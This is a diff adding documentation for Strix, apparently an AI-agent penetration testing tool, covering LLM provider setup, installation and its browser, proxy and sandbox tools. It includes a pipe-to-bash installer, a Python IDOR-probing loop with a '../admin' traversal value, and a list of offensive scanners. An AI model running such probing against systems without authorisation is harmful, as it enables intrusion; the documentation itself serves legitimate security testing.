export AWS_ACCESS_KEY_ID="AKIA..."
|
||||||
|
export AWS_SECRET_ACCESS_KEY="..."
|
||||||
|
export AWS_REGION="us-east-1"
|
||||||
|
```
|
||||||
|
|
||||||
|
### Option 3: IAM Role (EC2/ECS)
|
||||||
|
|
||||||
|
Automatically uses instance role credentials.
|
||||||
|
|
||||||
|
## Available Models
|
||||||
|
|
||||||
|
| Model | Description |
|
||||||
|
|-------|-------------|
|
||||||
|
| `bedrock/anthropic.claude-4-5-sonnet-20251022-v1:0` | Claude 4.5 Sonnet |
|
||||||
|
| `bedrock/anthropic.claude-4-5-opus-20251022-v1:0` | Claude 4.5 Opus |
|
||||||
|
| `bedrock/anthropic.claude-4-5-haiku-20251022-v1:0` | Claude 4.5 Haiku |
|
||||||
|
| `bedrock/amazon.titan-text-premier-v2:0` | Amazon Titan Premier v2 |
|
||||||
|
|
||||||
|
## Prerequisites
|
||||||
|
|
||||||
|
1. Enable model access in the AWS Bedrock console
|
||||||
|
2. Ensure your IAM role/user has `bedrock:InvokeModel` permission
|
||||||
56
docs/llm-providers/local.mdx
Normal file
56
docs/llm-providers/local.mdx
Normal file
@@ -0,0 +1,56 @@
|
|||||||
|
---
|
||||||
|
title: "Local Models"
|
||||||
|
description: "Run Strix with self-hosted LLMs for privacy and air-gapped testing"
|
||||||
|
---
|
||||||
|
|
||||||
|
Running Strix with local models allows for completely offline, privacy-first security assessments. Data never leaves your machine, making this ideal for sensitive internal networks or air-gapped environments.
|
||||||
|
|
||||||
|
## Privacy vs Performance
|
||||||
|
|
||||||
|
| Feature | Local Models | Cloud Models (GPT-5/Claude 4.5) |
|
||||||
|
|---------|--------------|--------------------------------|
|
||||||
|
| **Privacy** | 🔒 Data stays local | Data sent to provider |
|
||||||
|
| **Cost** | Free (hardware only) | Pay-per-token |
|
||||||
|
| **Reasoning** | Lower (struggles with agents) | State-of-the-art |
|
||||||
|
| **Setup** | Complex (GPU required) | Instant |
|
||||||
|
|
||||||
|
<Warning>
|
||||||
|
**Compatibility Note**: Strix relies on advanced agentic capabilities (tool use, multi-step planning, self-correction). Most local models, especially those under 70B parameters, struggle with these complex tasks.
|
||||||
|
|
||||||
|
For critical assessments, we strongly recommend using state-of-the-art cloud models like **Claude 4.5 Sonnet** or **GPT-5**. Use local models only when privacy is the absolute priority.
|
||||||
|
</Warning>
|
||||||
|
|
||||||
|
## Ollama
|
||||||
|
|
||||||
|
[Ollama](https://ollama.ai) is the easiest way to run local models on macOS, Linux, and Windows.
|
||||||
|
|
||||||
|
### Setup
|
||||||
|
|
||||||
|
1. Install Ollama from [ollama.ai](https://ollama.ai)
|
||||||
|
2. Pull a high-performance model:
|
||||||
|
```bash
|
||||||
|
ollama pull qwen3-vl
|
||||||
|
```
|
||||||
|
3. Configure Strix:
|
||||||
|
```bash
|
||||||
|
export STRIX_LLM="ollama/qwen3-vl"
|
||||||
|
export LLM_API_BASE="http://localhost:11434"
|
||||||
|
```
|
||||||
|
|
||||||
|
### Recommended Models
|
||||||
|
|
||||||
|
We recommend these models for the best balance of reasoning and tool use:
|
||||||
|
|
||||||
|
**Recommended models:**
|
||||||
|
- **Qwen3 VL** (`ollama pull qwen3-vl`)
|
||||||
|
- **DeepSeek V3.1** (`ollama pull deepseek-v3.1`)
|
||||||
|
- **Devstral 2** (`ollama pull devstral-2`)
|
||||||
|
|
||||||
|
## LM Studio / OpenAI Compatible
|
||||||
|
|
||||||
|
If you use LM Studio, vLLM, or other runners:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
export STRIX_LLM="openai/local-model"
|
||||||
|
export LLM_API_BASE="http://localhost:1234/v1" # Adjust port as needed
|
||||||
|
```
|
||||||
80
docs/llm-providers/models.mdx
Normal file
80
docs/llm-providers/models.mdx
Normal file
@@ -0,0 +1,80 @@
|
|||||||
|
---
|
||||||
|
title: "Strix Router"
|
||||||
|
description: "Access top LLMs through a single API with high rate limits and zero data retention"
|
||||||
|
---
|
||||||
|
|
||||||
|
Strix Router gives you access to the best LLMs through a single API key.
|
||||||
|
|
||||||
|
<Note>
|
||||||
|
Strix Router is currently in **beta**. It's completely optional — Strix works with any [LiteLLM-compatible provider](/llm-providers/overview) using your own API keys, or with [local models](/llm-providers/local). Strix Router is just the setup we test and optimize for.
|
||||||
|
</Note>
|
||||||
|
|
||||||
|
## Why Use Strix Router?
|
||||||
|
|
||||||
|
- **High rate limits** — No throttling during long-running scans
|
||||||
|
- **Zero data retention** — Routes to providers with zero data retention policies enabled
|
||||||
|
- **Failover & load balancing** — Automatic fallback across providers for reliability
|
||||||
|
- **Simple setup** — One API key, one environment variable, no provider accounts needed
|
||||||
|
- **No markup** — Same token pricing as the underlying providers, no extra fees
|
||||||
|
- **$10 free credit** — Try it free on signup, no credit card required
|
||||||
|
|
||||||
|
## Quick Start
|
||||||
|
|
||||||
|
1. Get your API key at [models.strix.ai](https://models.strix.ai)
|
||||||
|
2. Set your environment:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
export LLM_API_KEY='your-strix-api-key'
|
||||||
|
export STRIX_LLM='strix/gpt-5'
|
||||||
|
```
|
||||||
|
|
||||||
|
3. Run a scan:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
strix --target ./your-app
|
||||||
|
```
|
||||||
|
|
||||||
|
## Available Models
|
||||||
|
|
||||||
|
### Anthropic
|
||||||
|
|
||||||
|
| Model | ID |
|
||||||
|
|-------|-----|
|
||||||
|
| Claude Sonnet 4.6 | `strix/claude-sonnet-4.6` |
|
||||||
|
| Claude Opus 4.6 | `strix/claude-opus-4.6` |
|
||||||
|
|
||||||
|
### OpenAI
|
||||||
|
|
||||||
|
| Model | ID |
|
||||||
|
|-------|-----|
|
||||||
|
| GPT-5.2 | `strix/gpt-5.2` |
|
||||||
|
| GPT-5.1 | `strix/gpt-5.1` |
|
||||||
|
| GPT-5 | `strix/gpt-5` |
|
||||||
|
| GPT-5.2 Codex | `strix/gpt-5.2-codex` |
|
||||||
|
| GPT-5.1 Codex Max | `strix/gpt-5.1-codex-max` |
|
||||||
|
| GPT-5.1 Codex | `strix/gpt-5.1-codex` |
|
||||||
|
| GPT-5 Codex | `strix/gpt-5-codex` |
|
||||||
|
|
||||||
|
### Google
|
||||||
|
|
||||||
|
| Model | ID |
|
||||||
|
|-------|-----|
|
||||||
|
| Gemini 3 Pro | `strix/gemini-3-pro-preview` |
|
||||||
|
| Gemini 3 Flash | `strix/gemini-3-flash-preview` |
|
||||||
|
|
||||||
|
### Other
|
||||||
|
|
||||||
|
| Model | ID |
|
||||||
|
|-------|-----|
|
||||||
|
| GLM-5 | `strix/glm-5` |
|
||||||
|
| GLM-4.7 | `strix/glm-4.7` |
|
||||||
|
|
||||||
|
## Configuration Reference
|
||||||
|
|
||||||
|
<ParamField path="LLM_API_KEY" type="string" required>
|
||||||
|
Your Strix API key from [models.strix.ai](https://models.strix.ai).
|
||||||
|
</ParamField>
|
||||||
|
|
||||||
|
<ParamField path="STRIX_LLM" type="string" required>
|
||||||
|
Model ID from the tables above. Must be prefixed with `strix/`.
|
||||||
|
</ParamField>
|
||||||
31
docs/llm-providers/openai.mdx
Normal file
31
docs/llm-providers/openai.mdx
Normal file
@@ -0,0 +1,31 @@
|
|||||||
|
---
|
||||||
|
title: "OpenAI"
|
||||||
|
description: "Configure Strix with OpenAI models"
|
||||||
|
---
|
||||||
|
|
||||||
|
## Setup
|
||||||
|
|
||||||
|
```bash
|
||||||
|
export STRIX_LLM="openai/gpt-5"
|
||||||
|
export LLM_API_KEY="sk-..."
|
||||||
|
```
|
||||||
|
|
||||||
|
## Available Models
|
||||||
|
|
||||||
|
See [OpenAI Models Documentation](https://platform.openai.com/docs/models) for the full list of available models.
|
||||||
|
|
||||||
|
## Get API Key
|
||||||
|
|
||||||
|
1. Go to [platform.openai.com](https://platform.openai.com)
|
||||||
|
2. Navigate to API Keys
|
||||||
|
3. Create a new secret key
|
||||||
|
|
||||||
|
## Custom Base URL
|
||||||
|
|
||||||
|
For OpenAI-compatible APIs:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
export STRIX_LLM="openai/gpt-5"
|
||||||
|
export LLM_API_KEY="your-key"
|
||||||
|
export LLM_API_BASE="https://your-proxy.com/v1"
|
||||||
|
```
|
||||||
37
docs/llm-providers/openrouter.mdx
Normal file
37
docs/llm-providers/openrouter.mdx
Normal file
@@ -0,0 +1,37 @@
|
|||||||
|
---
|
||||||
|
title: "OpenRouter"
|
||||||
|
description: "Configure Strix with models via OpenRouter"
|
||||||
|
---
|
||||||
|
|
||||||
|
[OpenRouter](https://openrouter.ai) provides access to 100+ models from multiple providers through a single API.
|
||||||
|
|
||||||
|
## Setup
|
||||||
|
|
||||||
|
```bash
|
||||||
|
export STRIX_LLM="openrouter/openai/gpt-5"
|
||||||
|
export LLM_API_KEY="sk-or-..."
|
||||||
|
```
|
||||||
|
|
||||||
|
## Available Models
|
||||||
|
|
||||||
|
Access any model on OpenRouter using the format `openrouter/<provider>/<model>`:
|
||||||
|
|
||||||
|
| Model | Configuration |
|
||||||
|
|-------|---------------|
|
||||||
|
| GPT-5 | `openrouter/openai/gpt-5` |
|
||||||
|
| Claude Sonnet 4.6 | `openrouter/anthropic/claude-sonnet-4.6` |
|
||||||
|
| Gemini 3 Pro | `openrouter/google/gemini-3-pro-preview` |
|
||||||
|
| GLM-4.7 | `openrouter/z-ai/glm-4.7` |
|
||||||
|
|
||||||
|
## Get API Key
|
||||||
|
|
||||||
|
1. Go to [openrouter.ai](https://openrouter.ai)
|
||||||
|
2. Sign in and navigate to Keys
|
||||||
|
3. Create a new API key
|
||||||
|
|
||||||
|
## Benefits
|
||||||
|
|
||||||
|
- **Single API** — Access models from OpenAI, Anthropic, Google, Meta, and more
|
||||||
|
- **Fallback routing** — Automatic failover between providers
|
||||||
|
- **Cost tracking** — Monitor usage across all models
|
||||||
|
- **Higher rate limits** — OpenRouter handles provider limits for you
|
||||||
84
docs/llm-providers/overview.mdx
Normal file
84
docs/llm-providers/overview.mdx
Normal file
@@ -0,0 +1,84 @@
|
|||||||
|
---
|
||||||
|
title: "Overview"
|
||||||
|
description: "Configure your AI model for Strix"
|
||||||
|
---
|
||||||
|
|
||||||
|
Strix uses [LiteLLM](https://docs.litellm.ai/docs/providers) for model compatibility, supporting 100+ LLM providers.
|
||||||
|
|
||||||
|
## Strix Router (Recommended)
|
||||||
|
|
||||||
|
The fastest way to get started. [Strix Router](/llm-providers/models) gives you access to tested models with the highest rate limits and zero data retention.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
export STRIX_LLM="strix/gpt-5"
|
||||||
|
export LLM_API_KEY="your-strix-api-key"
|
||||||
|
```
|
||||||
|
|
||||||
|
Get your API key at [models.strix.ai](https://models.strix.ai).
|
||||||
|
|
||||||
|
## Bring Your Own Key
|
||||||
|
|
||||||
|
You can also use any LiteLLM-compatible provider with your own API keys:
|
||||||
|
|
||||||
|
| Model | Provider | Configuration |
|
||||||
|
| ----------------- | ------------- | -------------------------------- |
|
||||||
|
| GPT-5 | OpenAI | `openai/gpt-5` |
|
||||||
|
| Claude Sonnet 4.6 | Anthropic | `anthropic/claude-sonnet-4-6` |
|
||||||
|
| Gemini 3 Pro | Google Vertex | `vertex_ai/gemini-3-pro-preview` |
|
||||||
|
|
||||||
|
```bash
|
||||||
|
export STRIX_LLM="openai/gpt-5"
|
||||||
|
export LLM_API_KEY="your-api-key"
|
||||||
|
```
|
||||||
|
|
||||||
|
## Local Models
|
||||||
|
|
||||||
|
Run models locally with [Ollama](https://ollama.com), [LM Studio](https://lmstudio.ai), or any OpenAI-compatible server:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
export STRIX_LLM="ollama/llama4"
|
||||||
|
export LLM_API_BASE="http://localhost:11434"
|
||||||
|
```
|
||||||
|
|
||||||
|
See the [Local Models guide](/llm-providers/local) for setup instructions and recommended models.
|
||||||
|
|
||||||
|
## Provider Guides
|
||||||
|
|
||||||
|
<CardGroup cols={2}>
|
||||||
|
<Card title="Strix Router" href="/llm-providers/models">
|
||||||
|
Recommended models router with high rate limits.
|
||||||
|
</Card>
|
||||||
|
<Card title="OpenAI" href="/llm-providers/openai">
|
||||||
|
GPT-5 and Codex models.
|
||||||
|
</Card>
|
||||||
|
<Card title="Anthropic" href="/llm-providers/anthropic">
|
||||||
|
Claude Opus, Sonnet, and Haiku.
|
||||||
|
</Card>
|
||||||
|
<Card title="OpenRouter" href="/llm-providers/openrouter">
|
||||||
|
Access 100+ models through a single API.
|
||||||
|
</Card>
|
||||||
|
<Card title="Google Vertex AI" href="/llm-providers/vertex">
|
||||||
|
Gemini 3 models via Google Cloud.
|
||||||
|
</Card>
|
||||||
|
<Card title="AWS Bedrock" href="/llm-providers/bedrock">
|
||||||
|
Claude and Titan models via AWS.
|
||||||
|
</Card>
|
||||||
|
<Card title="Azure OpenAI" href="/llm-providers/azure">
|
||||||
|
GPT-5 via Azure.
|
||||||
|
</Card>
|
||||||
|
<Card title="Local Models" href="/llm-providers/local">
|
||||||
|
Llama 4, Mistral, and self-hosted models.
|
||||||
|
</Card>
|
||||||
|
</CardGroup>
|
||||||
|
|
||||||
|
## Model Format
|
||||||
|
|
||||||
|
Use LiteLLM's `provider/model-name` format:
|
||||||
|
|
||||||
|
```
|
||||||
|
openai/gpt-5
|
||||||
|
anthropic/claude-sonnet-4-6
|
||||||
|
vertex_ai/gemini-3-pro-preview
|
||||||
|
bedrock/anthropic.claude-4-5-sonnet-20251022-v1:0
|
||||||
|
ollama/llama4
|
||||||
|
```
|
||||||
53
docs/llm-providers/vertex.mdx
Normal file
53
docs/llm-providers/vertex.mdx
Normal file
@@ -0,0 +1,53 @@
|
|||||||
|
---
|
||||||
|
title: "Google Vertex AI"
|
||||||
|
description: "Configure Strix with Gemini models via Google Cloud"
|
||||||
|
---
|
||||||
|
|
||||||
|
## Installation
|
||||||
|
|
||||||
|
Vertex AI requires the Google Cloud dependency. Install Strix with the vertex extra:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
pipx install "strix-agent[vertex]"
|
||||||
|
```
|
||||||
|
|
||||||
|
## Setup
|
||||||
|
|
||||||
|
```bash
|
||||||
|
export STRIX_LLM="vertex_ai/gemini-3-pro-preview"
|
||||||
|
```
|
||||||
|
|
||||||
|
No API key required—uses Google Cloud Application Default Credentials.
|
||||||
|
|
||||||
|
## Authentication
|
||||||
|
|
||||||
|
### Option 1: gcloud CLI
|
||||||
|
|
||||||
|
```bash
|
||||||
|
gcloud auth application-default login
|
||||||
|
```
|
||||||
|
|
||||||
|
### Option 2: Service Account
|
||||||
|
|
||||||
|
```bash
|
||||||
|
export GOOGLE_APPLICATION_CREDENTIALS="/path/to/service-account.json"
|
||||||
|
```
|
||||||
|
|
||||||
|
## Available Models
|
||||||
|
|
||||||
|
| Model | Description |
|
||||||
|
|-------|-------------|
|
||||||
|
| `vertex_ai/gemini-3-pro-preview` | Best overall performance for security testing |
|
||||||
|
| `vertex_ai/gemini-3-flash-preview` | Faster and cheaper |
|
||||||
|
|
||||||
|
## Project Configuration
|
||||||
|
|
||||||
|
```bash
|
||||||
|
export VERTEXAI_PROJECT="your-project-id"
|
||||||
|
export VERTEXAI_LOCATION="us-central1"
|
||||||
|
```
|
||||||
|
|
||||||
|
## Prerequisites
|
||||||
|
|
||||||
|
1. Enable the Vertex AI API in your Google Cloud project
|
||||||
|
2. Ensure your account has the `Vertex AI User` role
|
||||||
BIN
docs/logo/strix.png
Normal file
BIN
docs/logo/strix.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 3.7 KiB |
86
docs/quickstart.mdx
Normal file
86
docs/quickstart.mdx
Normal file
@@ -0,0 +1,86 @@
|
|||||||
|
---
|
||||||
|
title: "Quick Start"
|
||||||
|
description: "Install Strix and run your first security scan"
|
||||||
|
---
|
||||||
|
|
||||||
|
## Prerequisites
|
||||||
|
|
||||||
|
- Docker (running)
|
||||||
|
- An LLM API key — use [Strix Router](/llm-providers/models) for the easiest setup, or bring your own key from any [supported provider](/llm-providers/overview)
|
||||||
|
|
||||||
|
## Installation
|
||||||
|
|
||||||
|
<Tabs>
|
||||||
|
<Tab title="curl">
|
||||||
|
```bash
|
||||||
|
curl -sSL https://strix.ai/install | bash
|
||||||
|
```
|
||||||
|
</Tab>
|
||||||
|
<Tab title="pipx">
|
||||||
|
```bash
|
||||||
|
pipx install strix-agent
|
||||||
|
```
|
||||||
|
</Tab>
|
||||||
|
</Tabs>
|
||||||
|
|
||||||
|
## Configuration
|
||||||
|
|
||||||
|
Set your LLM provider:
|
||||||
|
|
||||||
|
<Tabs>
|
||||||
|
<Tab title="Strix Router">
|
||||||
|
```bash
|
||||||
|
export STRIX_LLM="strix/gpt-5"
|
||||||
|
export LLM_API_KEY="your-strix-api-key"
|
||||||
|
```
|
||||||
|
</Tab>
|
||||||
|
<Tab title="Bring Your Own Key">
|
||||||
|
```bash
|
||||||
|
export STRIX_LLM="openai/gpt-5"
|
||||||
|
export LLM_API_KEY="your-api-key"
|
||||||
|
```
|
||||||
|
</Tab>
|
||||||
|
</Tabs>
|
||||||
|
|
||||||
|
<Tip>
|
||||||
|
For best results, use `strix/gpt-5`, `strix/claude-opus-4.6`, or `strix/gpt-5.2`.
|
||||||
|
</Tip>
|
||||||
|
|
||||||
|
## Run Your First Scan
|
||||||
|
|
||||||
|
```bash
|
||||||
|
strix --target ./your-app
|
||||||
|
```
|
||||||
|
|
||||||
|
<Note>
|
||||||
|
First run pulls the Docker sandbox image automatically. Results are saved to `strix_runs/<run-name>`.
|
||||||
|
</Note>
|
||||||
|
|
||||||
|
## Target Types
|
||||||
|
|
||||||
|
Strix accepts multiple target types:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Local codebase
|
||||||
|
strix --target ./app-directory
|
||||||
|
|
||||||
|
# GitHub repository
|
||||||
|
strix --target https://github.com/org/repo
|
||||||
|
|
||||||
|
# Live web application
|
||||||
|
strix --target https://your-app.com
|
||||||
|
|
||||||
|
# Multiple targets (white-box testing)
|
||||||
|
strix -t https://github.com/org/repo -t https://your-app.com
|
||||||
|
```
|
||||||
|
|
||||||
|
## Next Steps
|
||||||
|
|
||||||
|
<CardGroup cols={2}>
|
||||||
|
<Card title="CLI Options" icon="terminal" href="/usage/cli">
|
||||||
|
Explore all command-line options.
|
||||||
|
</Card>
|
||||||
|
<Card title="Scan Modes" icon="gauge" href="/usage/scan-modes">
|
||||||
|
Choose the right scan depth.
|
||||||
|
</Card>
|
||||||
|
</CardGroup>
|
||||||
34
docs/tools/browser.mdx
Normal file
34
docs/tools/browser.mdx
Normal file
@@ -0,0 +1,34 @@
|
|||||||
|
---
|
||||||
|
title: "Browser"
|
||||||
|
description: "Playwright-powered Chrome for web application testing"
|
||||||
|
---
|
||||||
|
|
||||||
|
Strix uses a headless Chrome browser via Playwright to interact with web applications exactly like a real user would.
|
||||||
|
|
||||||
|
## How It Works
|
||||||
|
|
||||||
|
All browser traffic is automatically routed through the Caido proxy, giving Strix full visibility into every request and response. This enables:
|
||||||
|
|
||||||
|
- Testing client-side vulnerabilities (XSS, DOM manipulation)
|
||||||
|
- Navigating authenticated flows (login, OAuth, MFA)
|
||||||
|
- Triggering JavaScript-heavy functionality
|
||||||
|
- Capturing dynamically generated requests
|
||||||
|
|
||||||
|
## Capabilities
|
||||||
|
|
||||||
|
| Action | Description |
|
||||||
|
| ---------- | ------------------------------------------- |
|
||||||
|
| Navigate | Go to URLs, follow links, handle redirects |
|
||||||
|
| Click | Interact with buttons, links, form elements |
|
||||||
|
| Type | Fill in forms, search boxes, input fields |
|
||||||
|
| Execute JS | Run custom JavaScript in the page context |
|
||||||
|
| Screenshot | Capture visual state for reports |
|
||||||
|
| Multi-tab | Test across multiple browser tabs |
|
||||||
|
|
||||||
|
## Example Flow
|
||||||
|
|
||||||
|
1. Agent launches browser and navigates to login page
|
||||||
|
2. Fills in credentials and submits form
|
||||||
|
3. Proxy captures the authentication request
|
||||||
|
4. Agent navigates to protected areas
|
||||||
|
5. Tests for IDOR by replaying requests with modified IDs
|
||||||
33
docs/tools/overview.mdx
Normal file
33
docs/tools/overview.mdx
Normal file
@@ -0,0 +1,33 @@
|
|||||||
|
---
|
||||||
|
title: "Agent Tools"
|
||||||
|
description: "How Strix agents interact with targets"
|
||||||
|
---
|
||||||
|
|
||||||
|
Strix agents use specialized tools to test your applications like a real penetration tester would.
|
||||||
|
|
||||||
|
## Core Tools
|
||||||
|
|
||||||
|
<CardGroup cols={2}>
|
||||||
|
<Card title="Browser" icon="globe" href="/tools/browser">
|
||||||
|
Playwright-powered Chrome for interacting with web UIs.
|
||||||
|
</Card>
|
||||||
|
<Card title="HTTP Proxy" icon="network-wired" href="/tools/proxy">
|
||||||
|
Caido-powered proxy for intercepting and replaying requests.
|
||||||
|
</Card>
|
||||||
|
<Card title="Terminal" icon="terminal" href="/tools/terminal">
|
||||||
|
Bash shell for running commands and security tools.
|
||||||
|
</Card>
|
||||||
|
<Card title="Sandbox Tools" icon="toolbox" href="/tools/sandbox">
|
||||||
|
Pre-installed security tools: Nuclei, ffuf, and more.
|
||||||
|
</Card>
|
||||||
|
</CardGroup>
|
||||||
|
|
||||||
|
## Additional Tools
|
||||||
|
|
||||||
|
| Tool | Purpose |
|
||||||
|
| -------------- | ---------------------------------------- |
|
||||||
|
| Python Runtime | Write and execute custom exploit scripts |
|
||||||
|
| File Editor | Read and modify source code |
|
||||||
|
| Web Search | Real-time OSINT via Perplexity |
|
||||||
|
| Notes | Document findings during the scan |
|
||||||
|
| Reporting | Generate vulnerability reports with PoCs |
|
||||||
90
docs/tools/proxy.mdx
Normal file
90
docs/tools/proxy.mdx
Normal file
@@ -0,0 +1,90 @@
|
|||||||
|
---
|
||||||
|
title: "HTTP Proxy"
|
||||||
|
description: "Caido-powered proxy for request interception and replay"
|
||||||
|
---
|
||||||
|
|
||||||
|
Strix includes [Caido](https://caido.io), a modern HTTP proxy built for security testing. All browser traffic flows through Caido, giving the agent full control over requests and responses.
|
||||||
|
|
||||||
|
## Capabilities
|
||||||
|
|
||||||
|
| Feature | Description |
|
||||||
|
| ---------------- | -------------------------------------------- |
|
||||||
|
| Request Capture | Log all HTTP/HTTPS traffic automatically |
|
||||||
|
| Request Replay | Repeat any request with modifications |
|
||||||
|
| HTTPQL | Query captured traffic with powerful filters |
|
||||||
|
| Scope Management | Focus on specific domains or paths |
|
||||||
|
| Sitemap | Visualize the discovered attack surface |
|
||||||
|
|
||||||
|
## HTTPQL Filtering
|
||||||
|
|
||||||
|
Query captured requests using Caido's HTTPQL syntax
|
||||||
|
|
||||||
|
## Request Replay
|
||||||
|
|
||||||
|
The agent can take any captured request and replay it with modifications:
|
||||||
|
|
||||||
|
- Change path parameters (test for IDOR)
|
||||||
|
- Modify request body (test for injection)
|
||||||
|
- Add/remove headers (test for auth bypass)
|
||||||
|
- Alter cookies (test for session issues)
|
||||||
|
|
||||||
|
## Python Integration
|
||||||
|
|
||||||
|
All proxy functions are automatically available in Python sessions. This enables powerful scripted security testing:
|
||||||
|
|
||||||
|
```python
|
||||||
|
# List recent POST requests
|
||||||
|
post_requests = list_requests(
|
||||||
|
httpql_filter='req.method.eq:"POST"',
|
||||||
|
page_size=20
|
||||||
|
)
|
||||||
|
|
||||||
|
# View a specific request
|
||||||
|
request_details = view_request("req_123", part="request")
|
||||||
|
|
||||||
|
# Replay with modified payload
|
||||||
|
response = repeat_request("req_123", {
|
||||||
|
"body": '{"user_id": "admin"}'
|
||||||
|
})
|
||||||
|
print(f"Status: {response['status_code']}")
|
||||||
|
```
|
||||||
|
|
||||||
|
### Available Functions
|
||||||
|
|
||||||
|
| Function | Description |
|
||||||
|
| ---------------------- | ------------------------------------------ |
|
||||||
|
| `list_requests()` | Query captured traffic with HTTPQL filters |
|
||||||
|
| `view_request()` | Get full request/response details |
|
||||||
|
| `repeat_request()` | Replay a request with modifications |
|
||||||
|
| `send_request()` | Send a new HTTP request |
|
||||||
|
| `scope_rules()` | Manage proxy scope (allowlist/denylist) |
|
||||||
|
| `list_sitemap()` | View discovered endpoints |
|
||||||
|
| `view_sitemap_entry()` | Get details for a sitemap entry |
|
||||||
|
|
||||||
|
### Example: Automated IDOR Testing
|
||||||
|
|
||||||
|
```python
|
||||||
|
# Get all requests to user endpoints
|
||||||
|
user_requests = list_requests(
|
||||||
|
httpql_filter='req.path.cont:"/users/"'
|
||||||
|
)
|
||||||
|
|
||||||
|
for req in user_requests.get('requests', []):
|
||||||
|
# Try accessing with different user IDs
|
||||||
|
for test_id in ['1', '2', 'admin', '../admin']:
|
||||||
|
response = repeat_request(req['id'], {
|
||||||
|
'url': req['path'].replace('/users/1', f'/users/{test_id}')
|
||||||
|
})
|
||||||
|
|
||||||
|
if response['status_code'] == 200:
|
||||||
|
print(f"Potential IDOR: {test_id} returned 200")
|
||||||
|
```
|
||||||
|
|
||||||
|
## Scope
|
||||||
|
|
||||||
|
Create scopes to filter traffic to relevant domains:
|
||||||
|
|
||||||
|
```
|
||||||
|
Allowlist: ["api.example.com", "*.example.com"]
|
||||||
|
Denylist: ["*.gif", "*.jpg", "*.png", "*.css", "*.js"]
|
||||||
|
```
|
||||||
83
docs/tools/sandbox.mdx
Normal file
83
docs/tools/sandbox.mdx
Normal file
@@ -0,0 +1,83 @@
|
|||||||
|
---
|
||||||
|
title: "Sandbox Tools"
|
||||||
|
description: "Pre-installed security tools in the Strix container"
|
||||||
|
---
|
||||||
|
|
||||||
|
Strix runs inside a Kali Linux-based Docker container with a comprehensive set of security tools pre-installed. The agent can use any of these tools through the [terminal](/tools/terminal).
|
||||||
|
|
||||||
|
## Reconnaissance
|
||||||
|
|
||||||
|
| Tool | Description |
|
||||||
|
| ---------------------------------------------------------- | -------------------------------------- |
|
||||||
|
| [Subfinder](https://github.com/projectdiscovery/subfinder) | Subdomain discovery |
|
||||||
|
| [Naabu](https://github.com/projectdiscovery/naabu) | Fast port scanner |
|
||||||
|
| [httpx](https://github.com/projectdiscovery/httpx) | HTTP probing and analysis |
|
||||||
|
| [Katana](https://github.com/projectdiscovery/katana) | Web crawling and spidering |
|
||||||
|
| [ffuf](https://github.com/ffuf/ffuf) | Fast web fuzzer |
|
||||||
|
| [Nmap](https://nmap.org) | Network scanning and service detection |
|
||||||
|
|
||||||
|
## Web Testing
|
||||||
|
|
||||||
|
| Tool | Description |
|
||||||
|
| ------------------------------------------------------ | -------------------------------- |
|
||||||
|
| [Arjun](https://github.com/s0md3v/Arjun) | HTTP parameter discovery |
|
||||||
|
| [Dirsearch](https://github.com/maurosoria/dirsearch) | Directory and file brute-forcing |
|
||||||
|
| [wafw00f](https://github.com/EnableSecurity/wafw00f) | WAF fingerprinting |
|
||||||
|
| [GoSpider](https://github.com/jaeles-project/gospider) | Web spider for link extraction |
|
||||||
|
|
||||||
|
## Automated Scanners
|
||||||
|
|
||||||
|
| Tool | Description |
|
||||||
|
| ---------------------------------------------------- | -------------------------------------------------- |
|
||||||
|
| [Nuclei](https://github.com/projectdiscovery/nuclei) | Template-based vulnerability scanner |
|
||||||
|
| [SQLMap](https://sqlmap.org) | Automatic SQL injection detection and exploitation |
|
||||||
|
| [Wapiti](https://wapiti-scanner.github.io) | Web application vulnerability scanner |
|
||||||
|
| [ZAP](https://zaproxy.org) | OWASP Zed Attack Proxy |
|
||||||
|
|
||||||
|
## JavaScript Analysis
|
||||||
|
|
||||||
|
| Tool | Description |
|
||||||
|
| -------------------------------------------------------- | ------------------------------ |
|
||||||
|
| [JS-Snooper](https://github.com/aravind0x7/JS-Snooper) | JavaScript reconnaissance |
|
||||||
|
| [jsniper](https://github.com/xchopath/jsniper.sh) | JavaScript file analysis |
|
||||||
|
| [Retire.js](https://retirejs.github.io/retire.js) | Detect vulnerable JS libraries |
|
||||||
|
| [ESLint](https://eslint.org) | JavaScript static analysis |
|
||||||
|
| [js-beautify](https://github.com/beautifier/js-beautify) | JavaScript deobfuscation |
|
||||||
|
| [JSHint](https://jshint.com) | JavaScript code quality tool |
|
||||||
|
|
||||||
|
## Secret Detection
|
||||||
|
|
||||||
|
| Tool | Description |
|
||||||
|
| ----------------------------------------------------------- | ------------------------------------- |
|
||||||
|
| [TruffleHog](https://github.com/trufflesecurity/trufflehog) | Find secrets in code and history |
|
||||||
|
| [Semgrep](https://github.com/semgrep/semgrep) | Static analysis for security patterns |
|
||||||
|
| [Bandit](https://bandit.readthedocs.io) | Python security linter |
|
||||||
|
|
||||||
|
## Authentication Testing
|
||||||
|
|
||||||
|
| Tool | Description |
|
||||||
|
| ------------------------------------------------------------ | ---------------------------------- |
|
||||||
|
| [jwt_tool](https://github.com/ticarpi/jwt_tool) | JWT token testing and exploitation |
|
||||||
|
| [Interactsh](https://github.com/projectdiscovery/interactsh) | Out-of-band interaction detection |
|
||||||
|
|
||||||
|
## Container & Supply Chain
|
||||||
|
|
||||||
|
| Tool | Description |
|
||||||
|
| -------------------------- | ---------------------------------------------- |
|
||||||
|
| [Trivy](https://trivy.dev) | Container and dependency vulnerability scanner |
|
||||||
|
|
||||||
|
## HTTP Proxy
|
||||||
|
|
||||||
|
| Tool | Description |
|
||||||
|
| ------------------------- | --------------------------------------------- |
|
||||||
|
| [Caido](https://caido.io) | Modern HTTP proxy for interception and replay |
|
||||||
|
|
||||||
|
## Browser
|
||||||
|
|
||||||
|
| Tool | Description |
|
||||||
|
| ------------------------------------ | --------------------------- |
|
||||||
|
| [Playwright](https://playwright.dev) | Headless browser automation |
|
||||||
|
|
||||||
|
<Note>
|
||||||
|
All tools are pre-configured and ready to use. The agent selects the appropriate tool based on the vulnerability being tested.
|
||||||
|
</Note>
|
||||||
61
docs/tools/terminal.mdx
Normal file
61
docs/tools/terminal.mdx
